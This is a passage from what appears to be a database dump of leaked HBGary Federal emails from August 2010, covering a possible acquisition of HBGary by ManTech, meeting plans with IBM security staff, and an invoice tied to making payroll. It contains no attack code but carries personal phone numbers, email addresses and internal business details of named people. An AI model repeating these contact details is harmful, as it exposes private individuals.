want to get together &#8211; I was surprised\r\nto hear that your &#8220;parent&#8221; is for sale. I wonder why Penny did not mention\r\nsomething while she was here. Maybe too early.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAt\r\nany rate, I believe that HBGary is most, if not totally, product oriented,\r\nwhile you at HBGary Federal have the services piece. But it also seems that you\r\nuse their technology as more than just a third party&#8230;how will this affect you?\r\nAnd what do you think is the future of your company?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDana\r\nprobably told you I am going to NY for two days of investor briefings with\r\nGeorge early next week. This will be a first for me &#8211; 15 investment houses in\r\ntwo days. The list is impressive.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,&nbsp;\r\nBill\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nL.\r\nWilliam Varner\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nMission,\r\nCyber &amp; Technology Solutions Group\r\n\r\n\r\n\r\n\r\n\r\nManTech\r\nInternational Corporation\r\n\r\n\r\n\r\n\r\n\r\n2250\r\nCorporate Park Drive, Suite 500\r\n\r\n\r\n\r\n\r\n\r\nHerndon,\r\nVA 20171\r\n\r\n\r\n\r\n\r\n\r\nOffice:\r\n(703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nEmail:&nbsp;Bill.Varner@Mantech.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',476,'aaron_hbgary_com/476.html'),(9909,'2010-08-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007774.M951814P14101Q4764.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: greetings','Sent from my iPhoneBegin forwarded message:From: &quot;Varner, Bill&quot; &lt;Bill.Varner@ManTech.com&gt;\r\nDate: August 8, 2010 11:28:55 AM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: greetings\r\n\r\n\r\n\r\n\r\nThanks, Aaron.\r\n\r\n \r\n\r\nI will discuss with George. Might be interesting to get you and\r\nPenny together with him and talk about the business model. \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, August 07, 2010 3:31 PM\r\nTo: Varner, Bill\r\nSubject: Re: greetings\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI did hear about eSOC.  I spoke with Eric yesterday and\r\ntold him if there is anything this small company can do to help let me know.\r\n Honestly, I think it is one of many good things to come for Mantech in\r\nthe cybersecurity arena.  The more I learn the more impressed I am.  As\r\nI mentioned the other day at breakfast I have been looking at the cybersecurity\r\nchallenges for a while.  On the technology side I see encryption,\r\nauthentication, and identity management being critical to the future of the\r\nevolution of technology and security.  Firewalls, Host based security,\r\nIDS, IPS I think will continue to have significant challenges in meeting\r\ndemands without significant improvements in Threat Intelligence, Incident\r\nResponse, and IO.  Your company in at least 2 of the 3, and no one is\r\nreally a leader in threat intel yet.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI think Penny did not mention it because much of these types\r\nof negotiations at this level are new and she and greg weren&#39;t sure, but some\r\nfinancial/tax motivations and the visibility the company is getting right now,\r\nhelped them to come to a decision.  I have talked with them on multiple\r\noccasions about the possibility of someone like Mantech purchasing them vice\r\nsome of the traditional security vendors and the benefits of getting greater\r\nuse of of the total of the companies capabilities.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI don&#39;t think the sale would have a huge effect on me now, 6\r\nmonths different story, but we have solidified our business goals and focused\r\nmarkets.  We want to lead in Threat Intelligence and IO (social media) as\r\nwell as have a discriminatory capability for IR.  I separated IR because\r\ntheir are lots of folks in this field and its newer to us, so we focused on\r\npartnerships to develop a technological capability that is lasting.\r\n HBGary owns 15% of HBGary Federal, so optimally a companies that is\r\nmostly compatible and gets our missions would purchase.  We do have a\r\ntight relationship on the technology but we are working to formalize those on\r\nthe occasion of a sale.  I think this will work out fine.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFuture for our company is in those three areas, Threat\r\nIntel, IR, and IO.  We believe we are developing unique discriminators in\r\neach of those areas.  In Threat Intelligence we are focusing on using our\r\nvolume malware analysis environment, our fingerprint tool, and social media\r\ncollection to build threat maps in Palantir.  In IR we have partnered with\r\nFidelis to integrate HBGary Active Defense and Fidelis XPS to provide a leave\r\nbehind capability that can do continuous incident response once an initial\r\nengagement ends.  This will provide significantly improved continual\r\nsecurity and lessen the cost of expensive onsite engagements.  On the IO\r\nside we are focused on social media and our expertise in leveraging it to\r\nextend IO missions.  In 2-3 weeks we will be launghing our security web\r\nportal which will allow people to submit malware to analysis, request a memory\r\nscan of their system for malware, and provide botnet c&amp;c data on specific\r\nIPs.  One stop shop for remote malware analysis.  Things are starting\r\nto pick up for us as well, just in much smaller doses.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThe trip to NY sounds like fun, two days of learning about\r\nsome great capabilities I am sure.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI look forward to our conversation.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBTW, Penny and Greg are very interested to talk about\r\noptions for acquisition at your convenience.  I believe Penny will be in\r\nDC for most of next week as well.  Selfishly it would be the best of all\r\nworlds I think for me if Mantech purchased HBGary and by default became a part\r\nowner in HBGary Federal.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Aug 7, 2010, at 2:11 PM, Varner, Bill wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nYou\r\nmay have heard that we won Eric’s FBI eSOC job…$100M win, biggest since I have\r\nbeen here. Great way to end the week.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nfor being able to reschedule next week. I do want to get together – I was surprised\r\nto hear that your “parent” is for sale. I wonder why Penny did not mention\r\nsomething while she was here. Maybe too early.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAt\r\nany rate, I believe that HBGary is most, if not totally, product oriented,\r\nwhile you at HBGary Federal have the services piece. But it also seems that you\r\nuse their technology as more than just a third party…how will this affect you?\r\nAnd what do you think is the future of your company?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDana\r\nprobably told you I am going to NY for two days of investor briefings with\r\nGeorge early next week. This will be a first for me – 15 investment houses in\r\ntwo days. The list is impressive.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks, \r\nBill\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nL.\r\nWilliam Varner\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\n\r\nMission,\r\nCyber &amp; Technology Solutions Group\r\n\r\n\r\n\r\n\r\n\r\nManTech\r\nInternational Corporation\r\n\r\n\r\n\r\n\r\n\r\n2250\r\nCorporate Park Drive, Suite 500\r\n\r\n\r\n\r\n\r\n\r\nHerndon,\r\nVA 20171\r\n\r\n\r\n\r\n\r\n\r\nOffice:\r\n(703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909 \r\n\r\n\r\n\r\n\r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9676,'aaron_hbgary_com/9676.html'),(9910,'2010-08-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007775.M168550P14101Q4765.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: greetings','Sent from my iPhoneBegin forwarded message:From: &quot;Varner, Bill&quot; &lt;Bill.Varner@ManTech.com&gt;\r\nDate: August 8, 2010 11:28:55 AM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: greetings\r\n\r\n\r\n\r\n\r\nThanks, Aaron.\r\n\r\n \r\n\r\nI will discuss with George. Might be interesting to get you and\r\nPenny together with him and talk about the business model. \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, August 07, 2010 3:31 PM\r\nTo: Varner, Bill\r\nSubject: Re: greetings\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI did hear about eSOC.  I spoke with Eric yesterday and\r\ntold him if there is anything this small company can do to help let me know.\r\n Honestly, I think it is one of many good things to come for Mantech in\r\nthe cybersecurity arena.  The more I learn the more impressed I am.  As\r\nI mentioned the other day at breakfast I have been looking at the cybersecurity\r\nchallenges for a while.  On the technology side I see encryption,\r\nauthentication, and identity management being critical to the future of the\r\nevolution of technology and security.  Firewalls, Host based security,\r\nIDS, IPS I think will continue to have significant challenges in meeting\r\ndemands without significant improvements in Threat Intelligence, Incident\r\nResponse, and IO.  Your company in at least 2 of the 3, and no one is\r\nreally a leader in threat intel yet.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI think Penny did not mention it because much of these types\r\nof negotiations at this level are new and she and greg weren&#39;t sure, but some\r\nfinancial/tax motivations and the visibility the company is getting right now,\r\nhelped them to come to a decision.  I have talked with them on multiple\r\noccasions about the possibility of someone like Mantech purchasing them vice\r\nsome of the traditional security vendors and the benefits of getting greater\r\nuse of of the total of the companies capabilities.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI don&#39;t think the sale would have a huge effect on me now, 6\r\nmonths different story, but we have solidified our business goals and focused\r\nmarkets.  We want to lead in Threat Intelligence and IO (social media) as\r\nwell as have a discriminatory capability for IR.  I separated IR because\r\ntheir are lots of folks in this field and its newer to us, so we focused on\r\npartnerships to develop a technological capability that is lasting.\r\n HBGary owns 15% of HBGary Federal, so optimally a companies that is\r\nmostly compatible and gets our missions would purchase.  We do have a\r\ntight relationship on the technology but we are working to formalize those on\r\nthe occasion of a sale.  I think this will work out fine.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFuture for our company is in those three areas, Threat\r\nIntel, IR, and IO.  We believe we are developing unique discriminators in\r\neach of those areas.  In Threat Intelligence we are focusing on using our\r\nvolume malware analysis environment, our fingerprint tool, and social media\r\ncollection to build threat maps in Palantir.  In IR we have partnered with\r\nFidelis to integrate HBGary Active Defense and Fidelis XPS to provide a leave\r\nbehind capability that can do continuous incident response once an initial\r\nengagement ends.  This will provide significantly improved continual\r\nsecurity and lessen the cost of expensive onsite engagements.  On the IO\r\nside we are focused on social media and our expertise in leveraging it to\r\nextend IO missions.  In 2-3 weeks we will be launghing our security web\r\nportal which will allow people to submit malware to analysis, request a memory\r\nscan of their system for malware, and provide botnet c&amp;c data on specific\r\nIPs.  One stop shop for remote malware analysis.  Things are starting\r\nto pick up for us as well, just in much smaller doses.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThe trip to NY sounds like fun, two days of learning about\r\nsome great capabilities I am sure.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI look forward to our conversation.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBTW, Penny and Greg are very interested to talk about\r\noptions for acquisition at your convenience.  I believe Penny will be in\r\nDC for most of next week as well.  Selfishly it would be the best of all\r\nworlds I think for me if Mantech purchased HBGary and by default became a part\r\nowner in HBGary Federal.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Aug 7, 2010, at 2:11 PM, Varner, Bill wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nYou\r\nmay have heard that we won Eric’s FBI eSOC job…$100M win, biggest since I have\r\nbeen here. Great way to end the week.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nfor being able to reschedule next week. I do want to get together – I was surprised\r\nto hear that your “parent” is for sale. I wonder why Penny did not mention\r\nsomething while she was here. Maybe too early.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAt\r\nany rate, I believe that HBGary is most, if not totally, product oriented,\r\nwhile you at HBGary Federal have the services piece. But it also seems that you\r\nuse their technology as more than just a third party…how will this affect you?\r\nAnd what do you think is the future of your company?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDana\r\nprobably told you I am going to NY for two days of investor briefings with\r\nGeorge early next week. This will be a first for me – 15 investment houses in\r\ntwo days. The list is impressive.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks, \r\nBill\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nL.\r\nWilliam Varner\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\n\r\nMission,\r\nCyber &amp; Technology Solutions Group\r\n\r\n\r\n\r\n\r\n\r\nManTech\r\nInternational Corporation\r\n\r\n\r\n\r\n\r\n\r\n2250\r\nCorporate Park Drive, Suite 500\r\n\r\n\r\n\r\n\r\n\r\nHerndon,\r\nVA 20171\r\n\r\n\r\n\r\n\r\n\r\nOffice:\r\n(703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909 \r\n\r\n\r\n\r\n\r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2186,'aaron_hbgary_com/2186.html'),(9911,'2010-08-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007775.M541111P14101Q4766.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Linda\'s availability to meet at GFIRST','What&#39;s this for, who is Linda?On Aug 8, 2010, at 6:37 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMaria,FYI it will be Ted going vice me.AaronSent from my iPhoneBegin forwarded message:\r\n\r\nFrom: Linda Betz &lt;lnbetz@us.ibm.com&gt;Date: August 8, 2010 8:18:05 AM EDTTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\nCc: Aaron Barr &lt;aaron@hbgary.com&gt;, Alan Mitchell &lt;amitch@us.ibm.com&gt;\r\nSubject: Re: Linda&#39;s availability to meet at GFIRST\r\n\r\nMaria, Actually anytime..... but if\r\nI were going to suggest, I&#39;d say 6:00pm, just because my body will still\r\nbe eastern time and I am not a lively night person\r\n\r\n\r\nThanks,\r\nLinda\r\n\r\n\r\nLinda N. Betz   PMP, CIPP, CISM\r\nDirector IT Policy and Information Security (CISO) - CIO Office\r\nemail : lnbetz@us.ibm.com\r\nPhone : 914-766-3860  Tie-Line 826-3860\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\nTo:\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n\r\nCc:\r\nAaron Barr &lt;aaron@hbgary.com&gt;,\r\nLinda Betz/Poughkeepsie/IBM@IBMUS\r\n\r\nDate:\r\n08/06/2010 08:55 PM\r\n\r\nSubject:\r\nRe: Linda&#39;s availability to meet at\r\nGFIRST\r\n\r\n\r\n\r\n\r\nHi Alan\r\n \r\nGreat to hear.  Why don&#39;t we plan on dinner Wednesday?\r\n \r\nLet me know the best time for you and Linda...\r\n \r\nMaria\r\n\r\nOn Fri, Aug 6, 2010 at 7:20 AM, Alan Mitchell &lt;amitch@us.ibm.com&gt;\r\nwrote:\r\nAaron/Maria: See Linda&#39;s availability below. Please feel\r\nfree to reach out to Linda to coordinate meeting up at GFIRST. Thanks-Alan\r\n\r\nAlan, I have myself getting down to TX by lunchtime on Wednesday. If we\r\nwant to organize a meeting with HBGary, we could do on Wednesday afternoon\r\nor dinner on Wednesday (if that will work) ok?? \r\n\r\n\r\nThanks,\r\nLinda\r\n\r\n\r\nLinda N. Betz PMP, CIPP, CISM\r\nDirector IT Policy and Information Security (CISO) - CIO Office\r\nemail : lnbetz@us.ibm.com\r\nPhone : 914-766-3860 Tie-Line 826-3860\r\n\r\n\r\n\r\nAlan Mitchell, CISSP® #43156, \r\nIBM Senior Technical Staff Member,\r\nChief Information Security Office-IBM CIO\r\n\r\nNSA-IAM,ITIL,LCP\r\nIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n720.396.3244 TL 938.3244\r\n\r\n&quot;By all means let&#39;s be open-minded, but not so open-minded that our\r\nbrains drop out&quot; -Richard Dawkins\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com\r\n\r\n\r\n \r\n \r\n\r\n\r\n\r\n',610,'aaron_hbgary_com/610.html'),(9912,'2010-08-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007775.M746176P14101Q4767.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Barbara Vermilyea\" <barbarabookkeeping@yahoo.com>,\"Penny Leavy\" <penny@hbgary.com>','Invoice from HBGary Federal LLC','\r\n\r\n\r\n\r\n\r\nDear Penny Leavy-Hoglund,Your invoice is attached. Please remit payment at your earliest convenience.Thank you for your business - we appreciate it very much.\r\nSincerely,HBGary Federal LLC------------------------ Invoice Summary --------------------------Invoice #: 1007Invoice Date: 07/08/2010Due Date: 07/23/2010Terms: Net 15Amount Due: $7,696.48\r\nThe complete version has been provided as an attachment to this email.---------------------------------------------------------------------\r\n\r\n\r\n\r\n\r\nWindows users: To view your invoiceOpen the attached PDF file. You must have Adobe® Reader® installed to view the attachment.\r\n\r\n\r\n\r\n\r\ndelivered by QuickBooks Online Plus\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n',12775,'aaron_hbgary_com/12775.html'),(9913,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007776.M280881P14101Q4769.eml','\"Varner, Bill\" <Bill.Varner@mantech.com>','Re: greetings','Look forward to it.AaronSent from my iPhoneOn Aug 8, 2010, at 11:28 AM, &quot;Varner, Bill&quot; &lt;Bill.Varner@ManTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nThanks, Aaron.\r\n\r\n \r\n\r\nI will discuss with George. Might be interesting to get you and\r\nPenny together with him and talk about the business model. \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, August 07, 2010 3:31 PM\r\nTo: Varner, Bill\r\nSubject: Re: greetings\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI did hear about eSOC.  I spoke with Eric yesterday and\r\ntold him if there is anything this small company can do to help let me know.\r\n Honestly, I think it is one of many good things to come for Mantech in\r\nthe cybersecurity arena.  The more I learn the more impressed I am.  As\r\nI mentioned the other day at breakfast I have been looking at the cybersecurity\r\nchallenges for a while.  On the technology side I see encryption,\r\nauthentication, and identity management being critical to the future of the\r\nevolution of technology and security.  Firewalls, Host based security,\r\nIDS, IPS I think will continue to have significant challenges in meeting\r\ndemands without significant improvements in Threat Intelligence, Incident\r\nResponse, and IO.  Your company in at least 2 of the 3, and no one is\r\nreally a leader in threat intel yet.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI think Penny did not mention it because much of these types\r\nof negotiations at this level are new and she and greg weren&#39;t sure, but some\r\nfinancial/tax motivations and the visibility the company is getting right now,\r\nhelped them to come to a decision.  I have talked with them on multiple\r\noccasions about the possibility of someone like Mantech purchasing them vice\r\nsome of the traditional security vendors and the benefits of getting greater\r\nuse of of the total of the companies capabilities.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI don&#39;t think the sale would have a huge effect on me now, 6\r\nmonths different story, but we have solidified our business goals and focused\r\nmarkets.  We want to lead in Threat Intelligence and IO (social media) as\r\nwell as have a discriminatory capability for IR.  I separated IR because\r\ntheir are lots of folks in this field and its newer to us, so we focused on\r\npartnerships to develop a technological capability that is lasting.\r\n HBGary owns 15% of HBGary Federal, so optimally a companies that is\r\nmostly compatible and gets our missions would purchase.  We do have a\r\ntight relationship on the technology but we are working to formalize those on\r\nthe occasion of a sale.  I think this will work out fine.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFuture for our company is in those three areas, Threat\r\nIntel, IR, and IO.  We believe we are developing unique discriminators in\r\neach of those areas.  In Threat Intelligence we are focusing on using our\r\nvolume malware analysis environment, our fingerprint tool, and social media\r\ncollection to build threat maps in Palantir.  In IR we have partnered with\r\nFidelis to integrate HBGary Active Defense and Fidelis XPS to provide a leave\r\nbehind capability that can do continuous incident response once an initial\r\nengagement ends.  This will provide significantly improved continual\r\nsecurity and lessen the cost of expensive onsite engagements.  On the IO\r\nside we are focused on social media and our expertise in leveraging it to\r\nextend IO missions.  In 2-3 weeks we will be launghing our security web\r\nportal which will allow people to submit malware to analysis, request a memory\r\nscan of their system for malware, and provide botnet c&amp;c data on specific\r\nIPs.  One stop shop for remote malware analysis.  Things are starting\r\nto pick up for us as well, just in much smaller doses.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThe trip to NY sounds like fun, two days of learning about\r\nsome great capabilities I am sure.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI look forward to our conversation.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBTW, Penny and Greg are very interested to talk about\r\noptions for acquisition at your convenience.  I believe Penny will be in\r\nDC for most of next week as well.  Selfishly it would be the best of all\r\nworlds I think for me if Mantech purchased HBGary and by default became a part\r\nowner in HBGary Federal.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Aug 7, 2010, at 2:11 PM, Varner, Bill wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nYou\r\nmay have heard that we won Eric’s FBI eSOC job…$100M win, biggest since I have\r\nbeen here. Great way to end the week.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nfor being able to reschedule next week. I do want to get together – I was surprised\r\nto hear that your “parent” is for sale. I wonder why Penny did not mention\r\nsomething while she was here. Maybe too early.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAt\r\nany rate, I believe that HBGary is most, if not totally, product oriented,\r\nwhile you at HBGary Federal have the services piece. But it also seems that you\r\nuse their technology as more than just a third party…how will this affect you?\r\nAnd what do you think is the future of your company?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDana\r\nprobably told you I am going to NY for two days of investor briefings with\r\nGeorge early next week. This will be a first for me – 15 investment houses in\r\ntwo days. The list is impressive.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks, \r\nBill\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nL.\r\nWilliam Varner\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\n\r\nMission,\r\nCyber &amp; Technology Solutions Group\r\n\r\n\r\n\r\n\r\n\r\nManTech\r\nInternational Corporation\r\n\r\n\r\n\r\n\r\n\r\n2250\r\nCorporate Park Drive, Suite 500\r\n\r\n\r\n\r\n\r\n\r\nHerndon,\r\nVA 20171\r\n\r\n\r\n\r\n\r\n\r\nOffice:\r\n(703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909 \r\n\r\n\r\n\r\n\r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2217,'aaron_hbgary_com/2217.html'),(9914,'2010-08-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007776.M34400P14101Q4768.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Invoice from HBGary Federal LLC','As long as this is paid this week we&#39;ll make payroll. Begin forwarded message:From: &quot;HBGary Federal, LLC.&quot; &lt;ted@hbgary.com&gt;\r\nDate: August 8, 2010 6:15:13 PM MDTTo: ted@hbgary.comCc: ted@hbgary.com\r\nSubject: Invoice from HBGary Federal LLCReply-To: ted@hbgary.com\r\n\r\n\r\n\r\n  \r\n    \r\n    \r\n		Dear Penny Leavy-Hoglund,Your invoice is attached.  Please remit payment at your earliest convenience.Thank you for your business - we appreciate it very much.Sincerely,HBGary Federal LLC\r\n		------------------------  Invoice Summary  --------------------------Invoice #: 1007Invoice Date: 07/08/2010Due Date: 07/23/2010Terms: Net 15Amount Due: $7,696.48The complete version has been provided as an attachment to this email.\r\n---------------------------------------------------------------------\r\n    \r\n    \r\n  \r\n\r\n\r\nWindows users: To view your invoiceOpen the attached PDF file. You must have Adobe® Reader® installed to view the attachment.\r\n\r\n\r\n\r\ndelivered by QuickBooks Online Plus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Invoice_1007_from_HBGary_Federal_LLC.pdf&gt;\r\n',1535,'aaron_hbgary_com/1535.html'),(9915,'2010-08-09','arc@westfields.net','/aaron@hbgary.com/new/1297007776.M546019P14101Q4770.eml','federal@hbgary.com','Trident Prime Announcement Posting','\r\nAn announcement has been posted on the Trident Prime effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Unclassified Internet (World Wide Web) ARC accessible  via https://arc.westfields.net/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), and I Have an Account on that system\'s ARC website.\r\nOn the Internet go to https://arc.westfields.net/, log in using your Internet ARC username and password, click on Current Efforts, and select Trident Prime from the Open Source Listing.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Internet ARC, go to https://arc.westfields.net/, click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Internet ARC for any purpose.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web) ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on 